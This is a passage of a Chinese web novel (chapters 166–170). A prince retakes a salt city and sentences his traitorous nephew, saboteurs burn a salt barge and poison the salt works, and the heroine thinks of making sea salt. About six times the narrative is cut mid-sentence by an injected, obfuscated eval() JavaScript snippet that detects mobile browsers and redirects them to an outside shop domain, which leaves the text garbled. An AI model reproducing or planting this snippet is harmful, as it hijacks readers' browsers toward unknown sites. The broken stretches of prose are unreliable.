说起这些以往的旧事,滨阳王的脸上浮现起怀念的表情。他已经有很多年没想起过这些陈年旧事,若不是今日想起,都以为自己已经忘得干净,现在一看,果然当初那些岁月对他们这种人来说,很难忘记。 看着面前这个年轻的小姑娘,滨阳王从对方脸上看出六分与应将军相似的地方。该说不愧是母女吗?尤其是面前的小姑娘板起脸的时候,跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14573162|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应将军面无表情的模样更相似了。 说起这个滨阳王还有些羞愧。 “当初回京之后,我曾上门想要见你一面,毕竟你是应将军的独生女,我也算你的叔伯。不过我们毕竟没有血缘关系,总要顾及你的名声。去过几次之后,渐渐有些风言风语,我也就不去了。如今再问似乎有些多余,但我还是想问问你,这些年过得还好吗?” 滨阳王是个光明磊落的人,但这段话却说的遮遮掩掩,躲躲藏藏,九阙立马意识到他可能有些话没说。 再联想一下家中的情况,立刻明白。 “不会是那个姓林的说的吧?” 在她得来的记忆里,根很少有和陌生长辈相处的画面,肯定是那个姓林的不想让自己顶着应重鸣将军女儿的身份与这些权贵有所往来,所以用这种低端的手段。男人啊,若是某方面比不上自己的妻子,就恨不得世上所有人都是个瞎子,看不到这种差距。 刚看到王爷为难点头之后,九阙更加确定,暗暗骂了一句,然后换了话题。 “王爷,既然你已经醒来,盐城的事是否可以料理?还有许多被强行关押在盐场里的人如今正在水深火热之中,每时每刻都有人受不了苦难折磨而离世。若是您还能发号施令,希望您能尽快收拢盐城的兵马,将里 面受苦的百姓解救出来。” “这是自然。” 谈起正事的滨阳王十分严肃,他默默的看了一眼赵篝,那种不需要说话就无声蔓延开来的威势,让心中有鬼之人两股战战。 赵篝本来还觉得只要自己愿意配合就能留一条性命,可是当他看到醒过来并且吝啬给自己一个眼神的王爷时,突然觉得,叔叔这是不准备保他了? 一把扑过去抱着床腿,赵篝扯开嗓子就哭嚎。 “二叔!二叔求你救我一命。我真不是故意的,我是被那个假王爷蒙蔽威胁,不得不这么做啊!” 第一百六十六章 谁认识你? “我那么小就在您身边长大,您难道还不了解我是什么样的人吗?我没那个胆子违背您的意愿做事,我是真以为这段时间发号施令的人是您啊二叔——” “当然,我当然了解你是什么人。” “二叔,我就知道你会了解……” 滨阳王于在场众人面色各异的神情中冷淡开口。 “你生性怯懦却心高气傲,自卑却又厌恶别人小瞧,失势时胆小如鼠,得势时趾高气昂。你是有贼心没贼胆。” “二叔……” 赵篝的脸青一阵紫一阵。他这会儿已经分不出滨阳王是在夸他还是在贬低他。又或者想用贬低的方式来保自己一命?只能脸色不断转换,不知该说什么。没想到下一刻,滨阳王失望开口。 “正因为你知道你是什么样的人,所以这些年我从来不敢给你太高的位置,只想着你待在我身边,做个小小的游击将军也能保一世荣华。可没想到你竟如此不满我的决定,选择助纣为虐。” “不!二叔我……” “正如你所说,你待在我身边这么多年,我很了解你,同样,你也很了解我。你应该很早就发现我本人换了吧?可你是否做出过补救措施?你有想过把这里的情况禀告陛下吗?或者你是觉得如果我的情况被陛下所知,说不定会把我接回京城顺便撤掉盐城的职务,到那时你就无法当个自由自在被别人捧着的大少爷?” “我不……” “刚开始你只是害怕失去当初的地位,但后来你渐渐发现这个假王爷不仅没有疏远你的意思,还把你立起来,给了你更多的权力和利益,甚至让你比以往更威风。渐渐的,你迷失在这种享受里。你喜欢上每次出行别人看你又敬又怕的眼神,也喜欢上如今可以大把挥霍,却不会被人批评的生活。你觉得我这个二叔还不如不出现,这样你能生活的更好,我说的对不对?” “……” 赵篝几乎无言以对,他惊恐的发现滨阳王每一句话都戳在心里隐藏最深的秘密上,他发现自己无法反驳,他更发现,自己正在瑟瑟发抖。内心最深处的秘密被别人逐字逐句剖出来的滋味不好受,尤其是在心里有鬼的情况下。没想到二叔将他的心理摸得这么清楚,这种时候似乎说什么都没用了。 “二叔,你说这些是什么意思?我可是你的亲侄子,你知道我有这些小毛病,我以后改还不行吗?我可是你看着长大的,难道你忍心看我走上绝路?” 我去!这男的也太厚颜无耻了吧,九阙当即捋了捋袖子,就要告诉他什么为正义。没想到滨阳王却失望的挥了挥手。 “你没救了。我从小教你身居高位者更要为底层百姓着想,因为我们就是从普通百姓爬上来的,可你还是沉溺于权力带来的美梦中无法自拔。当你享受富贵荣华,沉溺于温柔乡中,无法醒来的时候,有没有想过那些在盐场中日夜煎熬的是我治下的百姓,是你的同胞?有没有想过那些被肆意掳掠的女子是你应保护的对象?但凡你有一丝悔过,这些年都不会这么做。” “赵篝,你太让我失望了。” 最后一句话成了压倒赵篝的最后一根稻草,他突然直起身子,梗着脖子大声喊叫。 “对!我就是这么没用,我就是让你失望了又怎么样?你可是我的亲二叔啊,你都封了王爷了,为什么不能给我也搞个爵位?别以为我不知道,当初皇帝已经提起让我给你做嗣子,你明明不曾成亲也没有孩子,却不同意,不就是看不起我吗?现在在这装什么好人?还说什么从小教导我。既然从小教导我,那就把所有的最好的一切都给我啊!只让我当一个小小的游击将军有什么用?当这个狗屁将军每日还得出去巡逻,我可是你的亲侄子,你就让我做这种巡大街的活。你知道外面那些百姓是怎么看我的吗?你知道我被他们背地里嘲笑吗?你知道我每天都在害怕,担心你成亲生子之后把我忘到脑后吗?!你什么都不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14573163|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,因为你是伟大的滨阳王,你是这个国家的英雄,你理所当然的享受着百姓对你的欢呼,从未在意过与你阴影下艰难生存的我!” “你说的没错,我早就知道你被换了,甚至也知道你被那个家伙藏在这间屋子里躺了整整三年,可那又怎么样?你不在的日子里我反而愈发位高权重。我掐住盐城的盐,就是掐住了整个大景的命脉。周围那些郡县甚至经常来的官都要对我恭恭敬敬。你看到周围那些郡县为了求一车盐对我卑躬屈膝,低声下气的样子了吗?只有那种时候我才感觉自己是活着的,只有那种时候,我才觉得这个世界是如此美妙。可你为什么要醒来?你就不能一直躺着吗?!” “放肆!” 九阙本来不想管这叔侄二人之间的私事,但越听对方的话越觉得离谱。这是什么神鬼发言?敢情别人都欠你赵篝的?滨阳王把你养到这么大已经很了不起了好吗?没功没名的,让你当个游击将军怎么了?已经高看你很多了! “让你当游击将军,你还委屈上了?知道世上有多少人奋斗一辈子都爬不到这个位置吗?得陇望蜀,贪得无厌!” 赵篝的脸色一阵铁青,他向来瞧不起女人。那些从全国各地掳过来的美人他不知享用过多少,每一个都战战兢兢,温柔恭顺 。怎么可能像面前的应九阙这般,身为女人却力大如牛,粗野蛮横,这种也配当女人? 但他刚刚已经被九阙打怕了,身上的伤痕至今仍在叫嚣着痛苦,只能轻声愤愤不平。 “我和普通人能一样吗?我可是滨阳王的亲侄子,从小在他身边长大,我以后要继承他位置的。那些平民怎么配与我相提并论?” “哦——” 九阙拉长声音,给予了最后一击。 “我还是第一次见有人不是因为自己的存在而骄傲,而是因为与别人沾亲带故的身份感到自豪。况且你有什么好骄傲的?如果不是滨阳王,谁认识你?” 第一百六十七章 重掌盐城 这几句话直接把赵篝给搞蒙了,他茫然的看着九阙,不明白这个女钦差为什么要对他说这种话。自己又没得罪他,就算要生气,应该是滨阳王生气吧?很奇怪的,他竟然无法出声反驳。 而且不能否认的是这个女钦差所说的话直接戳中了他内心深处最痛的点。确实,如果他不是滨阳王的侄子,这世上又有谁会高看他一眼? 可即便他做错了事情,他也还是不想死啊。滨阳王的性子他很清楚,自己做了这么多错事,王爷绝对不会放过他,可他真的只是想活而已。 “我,我知道错了,叔叔,王爷!您能不能高抬贵手放我一马?哪怕被流放也行,我只是想活下去。真的只是想活下去,求求你了……” 看着赵构狼狈不堪,泪流满面的模样,滨阳王没有丝毫触动,他只是轻叹一口气,心中已经决定了这人的下场。 若只是单纯背叛自己,倒也罪不至死。可问题是赵篝这些年不仅贩卖私盐,而且还将无辜百姓抓到盐场,强行逼迫其卖命,这些年致死之人不少。昏迷的时候他确实听假王爷说过这个问题,每个月少的那些人都是身体不堪重负,累死的。 他若是做主原谅赵篝,那些无辜死去的百姓又怎么说?他没有资格替别人原谅赵篝,这对那些无辜之人并不公平。 见对方不说话,赵篝就已经明白滨阳王是一定要让他死了,他心中十分不情愿,但又能怎么办呢?等等,就算他一定要死,也不能就这么平平淡淡的死。这辈子他不能做个好人,做个坏人,也得遗臭万年! 将这些无关紧要之人暂且放在一边,滨阳王请谢明尘把自己的身体调养好,然后用雷霆手段在短短两日之内就将整个盐城上下尽数拿捏在自己手里。或许是因为盐城本就是他的地盘,又或者是因为滨阳王的名声太过响亮。再或者整个盐城上下早就希望王爷能够有所改变,因此他在重新掌握盐城的过程中并没有遇到太多困难。 在重新掌握盐城的第一时间,滨阳王就命人前去盐场,将那些无辜被关起来强行命令干活的百姓放了出来。整个盐城的百姓都轰动了,所有家中亲人三年内被强行抓走的百姓都相互扶持着前去领人。 有些人足够幸运,经过漫长的等待,终于等来了自己虽然骨瘦如柴,但依旧活着的亲人。可也有些人,哪怕从天亮等到天黑,等到所有人都走了,也没能再看到从那空荡荡的盐场里走出来一个人。 痛哭声,哀嚎声,惊喜的相逢声,哭爹喊娘,呼朋引伴的声音连绵不绝,让人百感交集。 九阙和一众小伙伴站在不远处,听着这人间之声,个个心绪复杂。有时候,上位者一个小小的决策就能影响无数普通平民百姓的命运,时代的尘埃落在一个普通家庭身上,那就是一座座重达千斤的大山。 那位姓方的面摊老板无疑是极幸运的一个,因为她等到了自己三年未归的丈夫。九阙淳于霜几个在旁边看着,那是个极高大的男人,虽然历经三年的折磨,身上已经没什么肉,但仍能看出来骨架高大。而且精神头还算不错,是少数大踏步从盐场走出来的人之一。在看到自己朝思暮想的妻女之后,那男人大笑出声一把将生命中最宝贵的爱人揽在怀里,如果不是实在没力气,估计还要把她们两个举起来炫耀几圈儿。 远远的,小姑娘在父母的怀抱里也看见不远处站着的几位熟悉的哥哥姐姐,露出一个灿烂的笑脸。看到她那毫无阴霾的笑脸,九阙几人也缓缓松了口气。世上之事千千万,他们不可能做的尽善尽美,唯一能做的就是从这些事中汲取经验,每一次都做的比上一次更好。 不仅盐场里被关着的百姓放了出来,而且在滨阳王的主持之下,盐价迅速降低,不仅普通百姓都能买得起盐,周围郡县,但凡来卖盐的,价格都恢复了以往。只是短短几日功夫,整个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14582089|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盐城焕然一新,那种小心翼翼,不敢行差大错的氛围已然消失不见,取而代之的是勃勃生机。像这种占据天时地利位置的地方,又有一项可以带来大收益的资源,只要管事儿的官员不太崩溃,百姓总能过得去。 滨阳王也发出感慨。 “之前那个取代我的人明明让他们吃了这么多苦。可我只是恢复了他们本该享有的待遇,大家就不再恨我,可见百姓是多么单纯的人。我也是从苦日子过来的,小时候草根树皮都吃过。他们为什么就是不明白,百姓但凡有一日能过得下去也不会萌生反意,他们很容易得到满足。可若是贪得无厌,一味逼迫,泥人尚有三分火气,更何况是活生生的人?他们真该感到庆幸,事情没有到最不可挽回那一步。否则悔之晚矣。” 像滨阳王这种如今身处高位之人竟也能大大方方说出官逼民反之类的话,当真是不容易。不过也正是因为有他这样的人存在,百姓们才会生活的越来越好吧。 至于他所说的那个‘他们’,里边儿定然有赵篝的存在,毕竟是自己看着长大的孩子,少说也共同相处了十几年。虽说已经定了他的死罪,可人的内心何其复杂,总会有些遗憾。 九阙憋了许久才缓缓说出安慰之语。 “王爷不必感到伤怀,每个人都有每个人的缘法,哪怕你看着他长大,人心隔肚皮,也不一定能猜 出对方心里在想什么,这并不是你的错。” 滨阳王沉默片刻,洒然一笑。 “多谢。” 虽然他教导出来的孩子不成器,可大景如今已经有新一代的少年成长起来。而且他们个个出色,是这个刚成立不久的皇朝的幸事,有这些人在,他也不必过于担心了。尤其是这个孩子,以往听说她的名声不太好,说什么娇气,吃不得苦,还不孝顺父亲,如今看来,这些都是妄谈。 果然是百闻不如一见。 第一百六十八章 货船被烧 见这里的事情已经整理好,九阙等人就要告辞,他们本就是为了回京述职,而且那些上京进贡的队伍早就急不可耐,若是误了时辰,到京城会被责怪。 不过既然盐城已经重新归入滨阳王的管理,那他们也可以不必再苦兮兮的赶路,直接走水路顺流而下,能快将近一半的时间,赶到京城绰绰有余。其实,以往百衣淳他们进京也是走水路,但三年前盐城就不允许他们用盐城的港口。当时大家百思不得其解,还很愤怒。现在众人就明白为什么了,显然是假王爷和赵篝不想让他们窥探到贩卖私盐的真相。 准备离开的前一天晚上,滨阳王特地设宴款待他们。虽然只是短短几天功夫,但滨阳王恢复的速度实在恐怖,之前还只能躺在床上,轻易无法下床走动,而现在已经可以龙行虎步,大步向前,甚至可以设宴款待。 不得不说,这位王爷的身体素质还真是强悍的可怕。 话说回来,这趟钦差之行能遇到滨阳王百衣淳这样的人,也是件趣事儿。一行人欢快宴饮,九阙还承诺等百衣淳进京之后住到自己府中。 “当真?说句实话,每次进京住的都是官府分派的院子,年久失修不说,里边儿人还特别多,吵的我每天晚上都睡不着。而且你也知道,我们那地方穷,每年这个时候京城去的人特别多,那些客栈什么的大多数都被人家给包圆了,只能住在官府分的院子里,可那院子,不提也罢。要是出大价钱倒也不是不能租到民宅,可我们每次只是在那儿住几日,有点儿浪费钱。要是真能住在你家,可给我们节省了一大笔费用呢。” “当然是真的。百衣姐姐可是我的朋友,出门在外,不方便的时候住在朋友家里不是很正常吗?别的不说,京中各样美食绝对带你吃个遍!而且我家里还有几个特别可爱的小朋友,机灵活泼,乖巧又懂事,他们还想习武,不过我对武艺一窍不通,也就是力气大点儿,刚好姐姐你可以教教他们。” 机灵活泼,乖巧又懂事?百衣淳一时间无法理解这到底是什么样的孩子,毕竟他们那里的孩子那叫一个调皮捣蛋,上树下水,没有他们不敢干的,没有一日不让大人头疼的。 但是看着九阙信誓旦旦的样子,百衣淳还是信了,或许人家京城的人格外会养小孩子。刚好可以借机向九阙讨教一下,毕竟她家里有个小外甥女儿,那叫一个调皮捣…… “轰轰轰!!” 就在大家欢快宴饮的时候,远处突然传来震耳欲聋的声音。滨阳王原本温和的笑脸瞬间消失,猛然站起身来,直直望向北边儿。那条宽阔的长河之上已然映成了一片火海! 那是盐城码头的位置! 滨阳王九阙魏渊等人根本不带犹豫,抄起家伙跨上骏马就朝着码头的方向狂奔而去,同时一条条命令以滨阳王为中心不断向四周辐射。等九阙他们终于赶到码头,映入眼帘的就是一艘巨大的正在不断解体,沉入水中的货船。 码头周围不断有人高呼着救火,但这明显不是正常范围的着火,水泼上去也缓解不了火势的蔓延。还有刚刚听到的那巨大的爆炸声…… “王爷,有贼人趁着夜色在货船里放置了大量的油桶,并且点燃。现在火势已经控制不住,这艘货船……保不住了。” 此话一出,不仅滨阳王的脸色很难看,九阙也面色铁青。这艘船上可是属于盐城自己的船,上面的货物除了盐还能有什么?本来这艘货船计划着明日要和他们一起启程…… 果然,紧接着那上来回话的官员就面色难看的回话。 “还有上面已经装好的要运往边关的盐,都倾入河中……” 旁边是慌慌张张的士兵,他们正在从船上抢救食盐,但真正能救下来的不过万分之一,九牛一毛罢了。 在冲天的火光中,众人看着白倒入河水中的货船和或许已经融化,又或许被这滔滔不绝的江水冲走的食盐,纷纷陷入了沉默。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14582090|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这事是谁做的?众人面面相觑,却想不出一个具体的答案。按理来说所有的贼子已经被他们关起来,包括假王爷,赵篝以及一众趁着滨阳王昏迷不醒时为非作歹的官员,都已经被严密看管起来,谁还有这个能力做这种事? 瞬息过后,九阙等人猛然抬头,一个答案呼之欲出。幕后真凶! “这场火不可能起的莫名其妙。周围看守的人呢?货船既然已经装好,夜晚必定有人值夜,以免出现不测。那些油桶是怎么被悄无声息放到船上去的?有没有人暗中接近过货船?或许那些油桶并不是今天夜里才装上去,或许他们早就已经被悄悄放到船上,只等着被点燃。” 淳于霜眨眼之间就说出几个可能,她之前毕竟在刑部干活,查案推理刑讯之能足够出众。 听到这些可能,滨阳王干脆将这里的职权暂时交给淳于霜,自己则是带着更多的人马将整个盐城牢牢查看一遍,顺便去抓那些形迹可疑之人。 很快,整个码头的人都被关了起来。如今这艘船上的盐已经损失,他们要做的就是阻止更大的损失出现。 这些码头上的工人也算半个官身,正因如此,他们才更知道这次的失职的后果有多大,各个精神惶恐,瑟瑟发抖,难道好日子过不了两天又要 到头了吗? 九阙盯着这些人看了许久,猛然回头。 盐场! 若是背后之人目的是为了毁了盐城又或者报复他们和滨阳王,最直接的手段就是毁掉盐城赖以生存的盐场!一旦盐场被毁,整个大景的盐就乱了! 不好! “前辈!请你速去盐场一趟,若是有人毁坏盐场,整个大景的盐就崩了!” 隐藏于人后的崔逐风知道事情严重性,也不犹豫,转身就朝着盐场迅速赶去。而正在城中奔驰维护百姓安定顺便搜查嫌犯的滨阳王也在同一时间想到这个问题,连忙朝着盐场的位置狂奔而去! 第一百六十九章 盐场被毁 如果那些贼人的真正目的是盐场,那么这艘被烧掉的货船只是吸引他们注意力的幌子! 淳于霜魏渊百衣淳几个几乎在同一时间想到了这个问题,几人的脸色都不好看。盐城的盐可是整个大景赖以生存的,更别说盐的提取太过复杂艰难,盐城方圆五十里的树木都被砍伐的差不多,正是为了煮盐。方才被烧掉的那艘巨大货船只上装着的是今年份北疆军队需要的食盐。这可是积攒了整整一年才分出如此巨大的量,可现在顷刻之间就消弭于河水,那么多人整整一年的努力都白费了。 当然这还不是重点,如果仅仅是一艘船的食盐被毁,大家加班加点或者挤一挤也能挤出来足够的食盐。可若是盐场被毁,他们从哪儿变出来这么多盐? 这幕后之人的目标不是滨阳王或者他们之中的任何一个人!他要的是毁掉整个大景! 北疆战士若没有足够的食盐,又哪里有力气打仗?普通百姓没有食盐就只能用得起醋布了。 九阙清楚知道食盐对于人体是不可或缺的,盐场绝对不能出事。他们纵马疾驰赶到盐场,只是还没进去就闻到一股巨大刺鼻的味道。当下几个人心里就是一沉。不会吧?最坏的情况出现了? 果然,当一行人走进盐场,看到冲天火光之下盐湖上漂浮着的一缕一缕黑色的东西时,所有人的脸色都不太好看。崔逐风正站在盐湖旁伸出手指蘸了蘸盐卤水,放在鼻子尖上一闻,脸色顿时黑下来。 “有毒。” 九阙不死心,跑到那些盐井,伸出头往下看。可入目所及的,全是淡黑色的污渍。另外几个人也纷纷前去查看,可没有一个盐井是幸存的。 当失望回来的时候,九阙的眼睛都充血变红,看到那几个来不及跑,被崔前辈制服的贼子,冲上去就是一脚,随后对他们拳打脚踢起来。 旁边没有一个人阻止,淳于霜这种一向不屑于动手的人都冲出去狠狠给了他们几脚。 “你们这些混账,难道不知这些盐对整个大景的百姓有多重要吗?毁了这些盐,以后他们吃什么?!你们吃什么?!你们想死别拉着这么多无辜之人!知不知道北疆还在打仗?知不知道草原蛮族对大景虎视眈眈?像你们这样的人,你们这样的人,凭什么还活着?!” 那几个人面色僵硬,武艺身手都是不俗。可这会儿被崔前辈点了穴,倒在地上一动不能动,或许他们本来就不想动。他们在来之前就知道一旦被抓住,绝无活的可能。 只是他们在自杀的瞬间被崔前辈卸了下巴,牙里的毒药不能咬破,只能苟延残喘。 这会儿赶到盐场的人越来越多,当看到里面情况时,每个人的脸色都不好看。所有人都想到了至关紧要的问题。以大景如今的食盐存量,百姓们紧着吃,大概还能吃一年。本来盐城应该储存更多的盐,可这三年里所有储存的盐都被假王爷和赵篝交易给了北蛮。以至于如今整个大景食盐的存量并不丰富。本以为今后可以恢复食盐产量,可没想到这群混账却釜底抽薪,直接毁了大景的盐业根基。 这下,哪怕是滨阳王这样成熟稳重的人,也忍不住面色惨白,身子不稳,往后退了两步。被身后忠心耿耿的侍卫扶住,才勉强没有倒下。 他很快就回过神来,立刻命人请来大夫,对盐湖盐井里的毒药进行检测。若是普通的可以化解掉的毒药,倒也不是完全没办法。现在怕就怕在,这些人为了确保毒计能够实行,下的是剧毒。 当然,幕后之人既然能下如此狠手,显然早就做好了准备。对此,大家没抱什么希望,但还是因为这万分之一的可能安静等待。只是等城中最好的大夫检测完却面色难看之时,所有人都明白,最后的希望也破灭了。 “……” 一时间仿佛整个天地都安静了。大家几乎无法想象当这个消息传出去之后,外界会引起怎样的骚动慌乱。因此滨阳王第一时间就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14597526|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下令封锁消息。可瞒得了一时,瞒得了一世吗?就算把这个消息捂的死死的,当百姓们发现市面上能买到的盐越来越少,价格越来越高之后还是会发生动乱。 可现在,实在是无计可施了。谁又能凭空变出来这么多的盐呢?一些跟过来的侍卫大多数在盐城长大,自然知道这其中的危害性,有几个忍不住小声哭泣。悲伤的氛围是会传染的,不多时,整个盐场就陷入了死寂。 那几个被废了行动力的贼子见状,也不知是该高兴自己完成了主子吩咐的任务,还是该伤怀好不容易和平的大景又要掀起战乱了。 滨阳王好不容易稳定住情绪,见状无力的挥了挥手,原本就算遭受了整整三年折磨,也依旧精神矍铄的男人,此刻像是凭空老了十岁。盐城在他手里出了这么大的乱子,他又有什么颜面去见百姓?有什么脸去见疼爱倚重自己的父皇?他们当初牺牲了那么多同伴手足兄弟才使之安静下来的国家,难道又要陷入混乱中了? 若真是苍天有眼,为何就不能让大景休养生息?唉…… “八百里加急,将这里的情况告知陛下。” “王爷!请三思!若是告诉陛下,势必会引起更大的骚乱……” “现在就已经够乱了,难道隐瞒就能让情况变好?行了,就按 我说的办。” 见身边的侍卫长面色难看,滨阳王勉强露出个笑容,拍了拍他的肩膀,让他不要担心。然后转身看向九阙那几个孩子。 “你们也折腾一天,肯定已经累了,好孩子,先回去歇歇吧。明日一早还得赶路呢。” 这种情况下九阙怎么能眼睁睁看着不管自己返回京城? 可她就算再有能耐,也不可能在一夕之间变出这么多的盐啊。如果她能像那些小说里的主角身带换物系统该有多好。可惜,她从来都没有这样的好运。也可惜滨阳王,好不容易醒来,就要面临这样稀烂的局面。 第一百七十章 海水制盐? 不过哪怕留在这里也不能提供帮助,只能徒增烦恼罢了。九阙张了张嘴,最后还是和大伙儿一起回去了。唉,当天夜里也不知道有多少人辗转反侧,一夜无眠。 第二天早上,晨光熹微之际,九阙就从床上缓缓爬起,她一夜都没睡,睁着眼睛,脑海里却只能浮现出盐场里那些混合了不祥黑水的盐。 洗漱的时候发现铜镜里自己两个眼睛下方硕大的黑眼圈,九阙忍不住叹了口气。连她都这样了,王爷肯定心里更加难受。 只是哪怕有所预料,当亲眼见到滨阳王的瞬间,九阙还是忍不住惊呼出声。竟然真会有人一夜白头? 滨阳王虽然已经三十多岁,遭受整整三年的折磨,可依旧俊朗。因为这个人的内心无比强大,他并不畏惧生活中的种种磨难。可现在,九阙看到了什么? 滨阳王原本乌黑的头发竟有大半都变成了白色。在此之前她从来都不信有人会一夜白头,这该是有多么悲伤才能变成如今这样。这个男人甚至连养了十几年视若亲子的侄子背叛自己都没有悲伤成这副模样,看来盐场被毁对他打击真的非常大。 两人相遇正是在码头,滨阳王虽然悲伤,但依旧记得几个小辈今天要进京,所以一早就过来帮忙整理东西。虽说有遗憾,但也有令他感到满足之事,故人之女活的好好的,甚至还长成了意气风发的少年模样。足够滨阳王感到开怀了。 这会儿看到九阙悲伤震撼到不能自已的模样,滨阳王还扯出一个笑容来安慰她。 “别伤心,天塌了,还有我们这些年纪大的人顶着。你们的未来还长着呢。肆意洒脱的活着吧,我很期待你们会为这个国家带来怎样的变化。” 九阙几乎要哽咽了,她说不出话,虽然与这位王爷相处不过短短几日功夫,可他真的很像自己成熟稳重又靠谱的长辈。比那个根本派不上用场,甚至还要恶心她一把的爹强不知道多少倍。 拍了拍他的肩膀,滨阳王无奈的叹了口气。这孩子这么伤怀,让他都忍不住鼻根发酸了。不过就算再怎么伤心又有什么用?这日子总要过下去,车到山前必有路,总会有法子的。只是还得做好警惕,免得生乱。还有那些相信自己的百姓,是他再一次食言了。三年来没能保护好盐城,三年后醒来的今天,没能保护得了大景。 或许他根本不配做这个王爷。当初那么多生死与共的兄弟都死了,只剩下他一个。如果不是他活到最后,也做不了滨阳王。那么多有才华之人早早离世,偏偏只剩下他这个最没用的活下来,或许这就是上天对他的惩罚…… 虽然心中极为悲伤,但在晚辈面前,滨阳王想表现出成熟稳重的模样,毕竟这孩子就要离开,总不能让她带着一肚子心事走吧? “好啦,好孩子,别伤心。有机会我也会回京城,到时候去看你。对了,这些是我给你准备的礼物。盐城四通八达,过往的商旅总会留下各种各样的货物。这些浦珠成色极好,用来做簪子项链手链都很不错。还有这些皮子,来自极北之地的大森林,件件厚实,不管送人还是自用,都是极好的。还有这些,珊瑚色彩艳丽,最讨小姑娘喜欢。对了,你不是喜欢吃新奇美味的食物吗?这里还有不少海货,都晒干了。看这虾子,比两个成人手掌还要长……哦,对了,还有这些海菜。用温水泡开,不管炖汤还是调味都很不错……” 九阙原本很伤怀,但是滨阳王一件件的给她指准备的礼物。不由自主的多看了两眼,这一看,她整个人都愣住了。 旁边有一大筐的海货。尤其是那些海菜大概是为了保鲜,上面有很多大颗粒的盐,就是颜色不太好看。 激动的指着那筐海菜,手指抖啊抖,因为太过激动,九阙一时说不出话来,滨阳王顺着他指的方向看了一眼,有些好笑。 “九阙,我知道那些是盐,但那是海盐,杂质太多,吃了会生病。距离咱们盐城不足五十里的地方就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14597527|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是一片大海滩,那里的人倒是会用海盐腌菜,但也不能多吃,而且吃的时候还要把海盐洗干净。我知道你想为长辈分忧,但孩子,不要这么着急,有些东西不能吃……” “不是!” 九阙终于能说出口。她怎么就这么笨呢?确实可以在短时间内弄出来大量的盐。海盐不就行了?!当然,是那种提纯过的海盐!好巧不巧,她还真见过怎么把海盐提纯出来,而且不需要煮盐这么麻烦,直接晒出来就行了! “王爷!我想起来怎么制盐了!” 她这一嗓子声音可不小,因为太过激动,脸都憋红了。九阙一把抓住滨阳王的胳膊,激动的不能自已。整个人又蹦又跳,没有一点平时的沉稳。 滨阳王方才还无奈的表情瞬间怔愣,紧接着严肃起来,也顾不得胳膊被抓的剧痛,十分严肃的看着九阙。 “你说什么?九阙你要知道,现在不是开玩笑的时候……” “我没开玩笑,我是真的想起来该如何在短时间内提炼大量的盐。” 滨阳王将信将疑。 “你难道发现其他的盐湖盐井了?” “不是,不用盐湖盐井,只用海水就行。” “……” 滨阳王无奈的叹了口气,不得不承认,刚刚 